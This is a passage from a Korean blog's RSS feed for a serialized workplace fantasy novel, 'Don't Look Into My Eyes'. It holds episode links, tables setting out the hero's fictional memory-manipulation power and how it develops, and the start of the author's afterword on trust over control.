&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/beuKzh/dJMb9kl9fs7/6X2606ztV8XcDw7H4R3UK1/img.png?width=800&amp;amp;height=734&amp;amp;face=458_336_488_368,https://scrap.kakaocdn.net/dn/b5kiJC/dJMb9eTL5o6/PiCIbDSpIn3OZKzkUYkOt1/img.png?width=800&amp;amp;height=734&amp;amp;face=458_336_488_368,https://scrap.kakaocdn.net/dn/kmnnl/dJMb9kTZoNg/aAOg9gKS8CNJoAviPvhhck/img.png?width=1024&amp;amp;height=940&amp;amp;face=590_430_630_474');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제8화. 리더의 눈빛&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제8화. 리더의 눈빛&amp;ldquo;이번 QA 자동화 TF(Task Force), 이한결 대리가 리딩해봐.&amp;rdquo;박성우 팀장의 파격적인 제안이었다. 입사 1년 차, 그것도 온갖 구설수에 올랐던 내가 프로젝트 리더(PL)라니. 하지만&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/211&quot;&gt;제9화. 붕괴의 시련&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392913855&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제9화. 붕괴의 시련&quot; data-og-description=&quot;제9화. 붕괴의 시련D-Day.6개월을 매달린 &amp;lsquo;넥솔브 차세대 커머스 플랫폼&amp;rsquo; 오픈 날. 상황실의 공기는 팽팽하게 당겨진 활시위 같았다. 에어컨이 돌아가고 있었지만, 사람들의 이마에는 송골송골 &quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/211&quot; data-og-url=&quot;https://thepin.tistory.com/211&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/wsixI/dJMb81fO3BN/7XqKTpF0COJcKh7YyBMhoK/img.png?width=800&amp;amp;height=873&amp;amp;face=0_0_800_873,https://scrap.kakaocdn.net/dn/edWK9o/dJMb9aKBxXG/xQTn4qxjf0KrDBEDqjjHZk/img.png?width=800&amp;amp;height=873&amp;amp;face=0_0_800_873,https://scrap.kakaocdn.net/dn/bmtusJ/dJMb87f2QCH/WE1Rv9LkD093BzAES9Nw9k/img.png?width=938&amp;amp;height=1024&amp;amp;face=0_0_938_1024&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/211&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/211&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/wsixI/dJMb81fO3BN/7XqKTpF0COJcKh7YyBMhoK/img.png?width=800&amp;amp;height=873&amp;amp;face=0_0_800_873,https://scrap.kakaocdn.net/dn/edWK9o/dJMb9aKBxXG/xQTn4qxjf0KrDBEDqjjHZk/img.png?width=800&amp;amp;height=873&amp;amp;face=0_0_800_873,https://scrap.kakaocdn.net/dn/bmtusJ/dJMb87f2QCH/WE1Rv9LkD093BzAES9Nw9k/img.png?width=938&amp;amp;height=1024&amp;amp;face=0_0_938_1024');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제9화. 붕괴의 시련&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제9화. 붕괴의 시련D-Day.6개월을 매달린 &amp;lsquo;넥솔브 차세대 커머스 플랫폼&amp;rsquo; 오픈 날. 상황실의 공기는 팽팽하게 당겨진 활시위 같았다. 에어컨이 돌아가고 있었지만, 사람들의 이마에는 송골송골&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/212&quot;&gt;제10화. 눈빛의 끝, 사람의 시작&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392911853&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제10화. 눈빛의 끝, 사람의 시작&quot; data-og-description=&quot;제10화. 눈빛의 끝, 사람의 시작계절이 두 번 바뀌었다.그날의 &amp;lsquo;30만 접속 대란&amp;rsquo;은 넥솔브 개발팀의 전설이 되었다. 우리는 그 위기를 넘긴 후에도 수많은 버그와 싸웠고, 크고 작은 장애를 겪&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/212&quot; data-og-url=&quot;https://thepin.tistory.com/212&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bPNcUY/dJMb8YpRRsa/sAhqfVNH861Wk4kyiMQs91/img.png?width=800&amp;amp;height=800&amp;amp;face=338_166_453_291,https://scrap.kakaocdn.net/dn/fx8nR/dJMb8SpEm9i/6Zznr6CtS2weCh9ji640g0/img.png?width=800&amp;amp;height=800&amp;amp;face=338_166_453_291,https://scrap.kakaocdn.net/dn/bCUMXr/dJMb8UHLBFh/hQcYvOs0UzHSzhikEb4wi1/img.png?width=1024&amp;amp;height=939&amp;amp;face=449_224_565_352&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/212&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/212&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bPNcUY/dJMb8YpRRsa/sAhqfVNH861Wk4kyiMQs91/img.png?width=800&amp;amp;height=800&amp;amp;face=338_166_453_291,https://scrap.kakaocdn.net/dn/fx8nR/dJMb8SpEm9i/6Zznr6CtS2weCh9ji640g0/img.png?width=800&amp;amp;height=800&amp;amp;face=338_166_453_291,https://scrap.kakaocdn.net/dn/bCUMXr/dJMb8UHLBFh/hQcYvOs0UzHSzhikEb4wi1/img.png?width=1024&amp;amp;height=939&amp;amp;face=449_224_565_352');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제10화. 눈빛의 끝, 사람의 시작&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제10화. 눈빛의 끝, 사람의 시작계절이 두 번 바뀌었다.그날의 &amp;lsquo;30만 접속 대란&amp;rsquo;은 넥솔브 개발팀의 전설이 되었다. 우리는 그 위기를 넘긴 후에도 수많은 버그와 싸웠고, 크고 작은 장애를 겪&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/213&quot;&gt;작가의 말 &amp;amp; 완결 후기&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392905044&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 작가의 말 &amp;amp; 완결 후기&quot; data-og-description=&quot;작가의 말 &amp;amp; 완결 후기작가의 말안녕하세요, 독자 여러분.의 여정을 함께해주셔서 진심으로 감사합니다.10화에 걸친 짧고도 긴 이야기가 드디어 막을 내렸습니다. 이 소설은 &amp;quot;만약 우리에게 타인&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/213&quot; data-og-url=&quot;https://thepin.tistory.com/213&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cqtKmv/dJMb8UHLBFf/A52ccpapdIHy8gSgqVCCe1/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/nFptL/dJMb8YpRRr7/Ku78skAkA2Ab4E4x1eYl90/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/PMK6C/dJMb8WMlZ0a/jkxxgYEck4CKy8yzrWxSqK/img.png?width=1024&amp;amp;height=942&amp;amp;face=299_211_686_633&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/213&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/213&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cqtKmv/dJMb8UHLBFf/A52ccpapdIHy8gSgqVCCe1/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/nFptL/dJMb8YpRRr7/Ku78skAkA2Ab4E4x1eYl90/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/PMK6C/dJMb8WMlZ0a/jkxxgYEck4CKy8yzrWxSqK/img.png?width=1024&amp;amp;height=942&amp;amp;face=299_211_686_633');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 작가의 말 &amp;amp; 완결 후기&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;작가의 말 &amp;amp; 완결 후기작가의 말안녕하세요, 독자 여러분.의 여정을 함께해주셔서 진심으로 감사합니다.10화에 걸친 짧고도 긴 이야기가 드디어 막을 내렸습니다. 이 소설은 &quot;만약 우리에게 타인&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/214&quot;&gt;한결의 능력 상세 설정&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;#기억조작, #내눈을보면안돼, #능력봉인, #리더십, #신뢰성장, #이한결, #직장인간관계, #현실과초현실의경계, #제미나이&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기억조작,&amp;nbsp;내눈을보면안돼,&amp;nbsp;능력봉인,&amp;nbsp;리더십,&amp;nbsp;신뢰성장,&amp;nbsp;이한결,&amp;nbsp;직장인간관계,&amp;nbsp;현실과초현실의경계&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/215</guid>
      <comments>https://thepin.tistory.com/215#entry215comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:39:11 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 이한결의 능력 상세 설정</title>
      <link>https://thepin.tistory.com/214</link>
      <description>&lt;h1&gt;이한결의 능력 상세 설정&lt;/h1&gt;
&lt;table data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style5&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;구분&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;상세 내용&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;능력 명칭&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;기억 조작 및 암시 (Memory Manipulation &amp;amp; Suggestion)&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;공식 명칭은 없으나 '눈'을 매개로 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;발동 조건&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;대상과의 직접적인 눈 맞춤 (Eye Contact)&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;안경이나 렌즈를 껴도 발동 가능하나, 시선을 피하면 무효&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;기본 효과&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;사용자가 원하는 &lt;b&gt;기억, 감정, 혹은 인식을 대상의 뇌에 심음&lt;/b&gt;.&lt;br /&gt;대상은 조작된 기억을 자신의 실제 경험으로 인식함.&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;단순 최면보다 강력하며, 현실 부정(인지 부조화)을 덮어씌움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;제약 조건&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;1. &lt;b&gt;신체적 반동 (Backlash):&lt;/b&gt; 사용 후 심장 통증, 두통, 현기증, 체력 고갈 동반.&lt;br /&gt;2. &lt;b&gt;생명력 소모:&lt;/b&gt; 과도한 사용은 선천적으로 약한 심장에 치명적임.&lt;br /&gt;3. &lt;b&gt;감정 동기화:&lt;/b&gt; 사용자의 감정이 격해지면 의도치 않은 형태(살의, 공포 등)로 투사됨.&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;능력이 강할수록 반동도 커짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;시각적 연출&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;능력 발동 시 &lt;b&gt;눈동자가 짙은 갈색에서 보라색(Purple)으로 일렁임&lt;/b&gt;.&lt;br /&gt;시간이 멈춘 듯한 정적과 이명(Ears ringing) 효과 동반.&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;웹툰/영상화 시 주요 포인트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  능력 발전 및 변화 과정&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;단계&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;시기&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;상태 및 특징&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;주요 사건&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;1단계: 각성&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;고등학교&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;[통제 불가]&lt;/b&gt; 생존 본능과 공포에 의해 우발적으로 발동.&lt;br /&gt;극심한 신체적 고통 동반.&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;일진 태수에게 '욕설을 들었다'는 기억 주입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;2단계: 생존&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;취업 준비 ~ 입사 초기&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;[의도적 사용]&lt;/b&gt; 위기 모면을 위해 의식적으로 사용.&lt;br /&gt;두통과 현기증 등 부작용 존재.&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;면접관 박성우의 태도 변화 유도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;3단계: 폭주&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;입사 후 (점심시간)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;[감정 전이]&lt;/b&gt; 분노를 제어하지 못해 '살의'가 환청처럼 꽂힘.&lt;br /&gt;기억 조작이 아닌 정신적 타격(Terror)을 입힘.&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;최진호 주임이 식당에서 발작함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;4단계: 봉인&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;사내 따돌림 시기&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;[사용 거부]&lt;/b&gt; 능력이 자신을 고립시킴을 깨닫고 사용을 중단.&lt;br /&gt;안경과 시선 회피로 스스로를 억제.&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;'FACT &amp;amp; LOGIC' 포스트잇, 코딩 몰입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;5단계: 완성&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;팀장 승진 ~ 완결&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;[완전한 통제]&lt;/b&gt; 능력을 쓸 수 있지만 &lt;b&gt;쓰지 않기를 선택&lt;/b&gt;함.&lt;br /&gt;눈동자가 보라색으로 변하지 않고 평온한 갈색 유지.&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;서버 장애 해결, 신입 사원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBFUsV/dJMcac9RFQj/LlK4vJd4AsYre8jAHT2Mi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBFUsV/dJMcac9RFQj/LlK4vJd4AsYre8jAHT2Mi1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;944&quot; data-filename=&quot;blob&quot; style=&quot;width: 49.129%; margin-right: 10px;&quot; data-widthpercent=&quot;49.71&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBFUsV/dJMcac9RFQj/LlK4vJd4AsYre8jAHT2Mi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBFUsV%2FdJMcac9RFQj%2FLlK4vJd4AsYre8jAHT2Mi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;944&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b89KBy/dJMcabXtayk/sm9rKGudXLuf1o11rzQ5m0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b89KBy/dJMcabXtayk/sm9rKGudXLuf1o11rzQ5m0/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;933&quot; data-filename=&quot;blob&quot; style=&quot;width: 49.7082%;&quot; data-widthpercent=&quot;50.29&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b89KBy/dJMcabXtayk/sm9rKGudXLuf1o11rzQ5m0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb89KBy%2FdJMcabXtayk%2Fsm9rKGudXLuf1o11rzQ5m0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;933&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bY2Tl4/dJMcac9RFQi/fVkL0PyyXHfL95KMnqwCpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bY2Tl4/dJMcac9RFQi/fVkL0PyyXHfL95KMnqwCpk/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;931&quot; data-filename=&quot;blob&quot; style=&quot;width: 49.4716%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;50.05&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bY2Tl4/dJMcac9RFQi/fVkL0PyyXHfL95KMnqwCpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbY2Tl4%2FdJMcac9RFQi%2FfVkL0PyyXHfL95KMnqwCpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;931&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br4jZm/dJMcacB5t4d/X5HkpAMaz56u8ePkR9RfS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br4jZm/dJMcacB5t4d/X5HkpAMaz56u8ePkR9RfS0/img.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;933&quot; data-is-animation=&quot;false&quot; data-filename=&quot;blob&quot; style=&quot;width: 49.3656%; margin-top: 10px;&quot; data-widthpercent=&quot;49.95&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br4jZm/dJMcacB5t4d/X5HkpAMaz56u8ePkR9RfS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr4jZm%2FdJMcacB5t4d%2FX5HkpAMaz56u8ePkR9RfS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;933&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;905&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmgalI/dJMcaivuE2y/9qJ9bMAN4wlbpGkKcT7w61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmgalI/dJMcaivuE2y/9qJ9bMAN4wlbpGkKcT7w61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmgalI/dJMcaivuE2y/9qJ9bMAN4wlbpGkKcT7w61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmgalI%2FdJMcaivuE2y%2F9qJ9bMAN4wlbpGkKcT7w61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;905&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;905&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/214</guid>
      <comments>https://thepin.tistory.com/214#entry214comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:28:49 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 작가의 말 &amp;amp; 완결 후기</title>
      <link>https://thepin.tistory.com/213</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전 이야기 : &lt;a href=&quot;https://thepin.tistory.com/212&quot;&gt;https://thepin.tistory.com/212&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;작가의 말 &amp;amp; 완결 후기&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;작가의 말&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요, 독자 여러분.&lt;br /&gt;&amp;lt;내 눈을 보면 안 돼&amp;gt;의 여정을 함께해주셔서 진심으로 감사합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10화에 걸친 짧고도 긴 이야기가 드디어 막을 내렸습니다. 이 소설은 &quot;만약 우리에게 타인의 기억을 바꿀 수 있는 힘이 생긴다면, 삶은 더 편해질까?&quot;라는 작은 질문에서 시작되었습니다. 화려한 액션이 펼쳐지는 판타지 세계가 아닌, 우리 모두가 매일 부딪히는 '직장'이라는 가장 현실적인 공간에 그 힘을 던져보고 싶었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주인공 한결은 강한 영웅이 아닙니다. 약한 몸과 그로 인한 콤플렉스, 그리고 너무나도 강력해서 오히려 저주에 가까운 능력을 가진 인물입니다. 그의 성장은 능력을 더 잘 쓰는 법을 배우는 것이 아니라, 오히려 그 능력을 쓰지 않고도 세상에 바로 설 수 있는 용기를 배우는 과정이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진짜 힘은 타인을 내 뜻대로 바꾸는 것이 아니라, 서툴더라도 진심으로 다가가고, 시스템으로 문제를 해결하며, 동료의 손을 잡는 '신뢰'에서 나온다는 메시지를 전하고 싶었습니다. 한결이 눈빛의 힘을 내려놓고 비로소 '사람의 눈'으로 세상을 마주하게 되는 마지막 장면은, 제가 이 소설을 통해 가장 그리고 싶었던 모습입니다.&lt;/p&gt;
